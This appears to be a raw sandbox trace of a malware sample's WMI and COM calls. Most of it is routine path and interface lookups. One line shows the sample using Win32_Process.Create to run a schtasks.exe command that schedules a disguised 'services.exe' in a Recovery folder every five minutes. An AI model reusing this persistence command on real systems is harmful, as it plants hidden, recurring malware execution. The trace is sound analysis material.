WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc0360, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0147.120] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0360, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0147.120] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0360, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0147.120] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0360, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0147.120] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0660, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0147.120] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0660, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0147.120] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0660, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0147.121] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0360, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0147.121] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0360, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0147.121] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0147.121] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0147.121] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0147.121] IUnknown:Release (This=0x1a943398) returned 0x1 [0147.123] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bcc40c0) returned 0x0 [0147.123] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc40c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0147.123] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc40c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bbc01e0) returned 0x0 [0147.123] WbemDefPath:IUnknown:Release (This=0x1bcc40c0) returned 0x0 [0147.123] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc01e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bbc01e0) returned 0x0 [0147.123] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc01e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0147.123] WbemDefPath:IUnknown:AddRef (This=0x1bbc01e0) returned 0x3 [0147.123] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc01e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0147.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc01e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0147.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc01e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bcc3d40) returned 0x0 [0147.124] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3d40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0147.124] WbemDefPath:IUnknown:Release (This=0x1bcc3d40) returned 0x3 [0147.124] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0147.124] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0147.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc01e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0147.124] WbemDefPath:IUnknown:Release (This=0x1bbc01e0) returned 0x2 [0147.124] WbemDefPath:IUnknown:Release (This=0x1bbc01e0) returned 0x1 [0147.124] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0147.124] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0147.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc01e0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bbc01e0) returned 0x0 [0147.124] WbemDefPath:IUnknown:AddRef (This=0x1bbc01e0) returned 0x3 [0147.124] WbemDefPath:IUnknown:Release (This=0x1bbc01e0) returned 0x2 [0147.124] WbemDefPath:IWbemPath:SetText (This=0x1bbc01e0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0147.124] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0660, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0147.124] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0660, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0147.124] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0660, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0147.124] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0147.125] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0147.125] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0147.125] IUnknown:Release (This=0x1a943398) returned 0x1 [0147.127] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc3d80) returned 0x0 [0147.127] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3d80, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0147.127] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3d80, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbc0120) returned 0x0 [0147.127] WbemDefPath:IUnknown:Release (This=0x1bcc3d80) returned 0x0 [0147.127] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0120, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbc0120) returned 0x0 [0147.127] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0120, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0147.127] WbemDefPath:IUnknown:AddRef (This=0x1bbc0120) returned 0x3 [0147.127] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0120, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0147.128] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0120, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0147.128] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0120, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc3e40) returned 0x0 [0147.128] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3e40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0147.128] WbemDefPath:IUnknown:Release (This=0x1bcc3e40) returned 0x3 [0147.128] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0147.128] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0147.128] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0120, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0147.128] WbemDefPath:IUnknown:Release (This=0x1bbc0120) returned 0x2 [0147.128] WbemDefPath:IUnknown:Release (This=0x1bbc0120) returned 0x1 [0147.128] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0147.128] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0147.128] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0120, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbc0120) returned 0x0 [0147.128] WbemDefPath:IUnknown:AddRef (This=0x1bbc0120) returned 0x3 [0147.128] WbemDefPath:IUnknown:Release (This=0x1bbc0120) returned 0x2 [0147.128] WbemDefPath:IWbemPath:SetText (This=0x1bbc0120, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0147.128] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc01e0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0120, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0120, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0120, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0147.129] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bbc01e0) returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0120, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc0120, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc0120, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0147.129] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbc01e0, uIndex=0x0, pszName="root") returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc0120, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc0120, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0147.129] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbc01e0, uIndex=0x1, pszName="cimv2") returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbc0120, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbc0120, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbc01e0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbc01e0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc01e0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0660, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0660, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0660, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0660, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0660, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0660, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc01e0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0147.129] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc01e0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0147.130] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc01e0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0147.130] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc01e0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0147.130] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc01e0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0147.130] IWbemServices:GetObject (in: This=0x1bc97000, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bc78170, ppCallResult=0x0) returned 0x0 [0147.139] IWbemClassObject:GetMethod (in: This=0x1bc78170, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bc784e0, ppOutSignature=0x1bb7e690*=0x1bc78850) returned 0x0 [0147.139] IWbemClassObject:SpawnInstance (in: This=0x1bc784e0, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa177b0) returned 0x0 [0147.140] IWbemClassObject:Get (in: This=0x1aa177b0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d29e0*=0, plFlavor=0x27d29e4*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d29e0*=8, plFlavor=0x27d29e4*=32) returned 0x0 [0147.140] IWbemClassObject:Get (in: This=0x1aa177b0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d29e0*=8, plFlavor=0x27d29e4*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d29e0*=8, plFlavor=0x27d29e4*=32) returned 0x0 [0147.140] IWbemClassObject:Put (This=0x1aa177b0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"servicess\" /sc MINUTE /mo 5 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0147.140] IWbemClassObject:Get (in: This=0x1aa177b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d2a70*=0, plFlavor=0x27d2a74*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d2a70*=13, plFlavor=0x27d2a74*=32) returned 0x0 [0147.140] IWbemClassObject:Get (in: This=0x1aa177b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d2a70*=13, plFlavor=0x27d2a74*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d2a70*=13, plFlavor=0x27d2a74*=32) returned 0x0 [0147.141] IUnknown:QueryInterface (in: This=0x1bc77a90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bc77a90) returned 0x0 [0147.141] IUnknown:QueryInterface (in: This=0x1bc77a90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0147.141] IUnknown:QueryInterface (in: This=0x1bc77a90, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0147.141] IUnknown:AddRef (This=0x1bc77a90) returned 0x3 [0147.141] IUnknown:QueryInterface (in: This=0x1bc77a90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0147.141] IUnknown:QueryInterface (in: This=0x1bc77a90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0147.141] IUnknown:QueryInterface (in: This=0x1bc77a90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bc77a98) returned 0x0 [0147.141] IMarshal:GetUnmarshalClass (in: This=0x1bc77a98, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0147.141] IUnknown:Release (This=0x1bc77a98) returned 0x3 [0147.141] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0147.142] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0147.142] IUnknown:QueryInterface (in: This=0x1bc77a90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0147.142] IUnknown:Release (This=0x1bc77a90) returned 0x2 [0147.142] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0147.142] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0147.142] IUnknown:QueryInterface (in: This=0x1bc77a90, 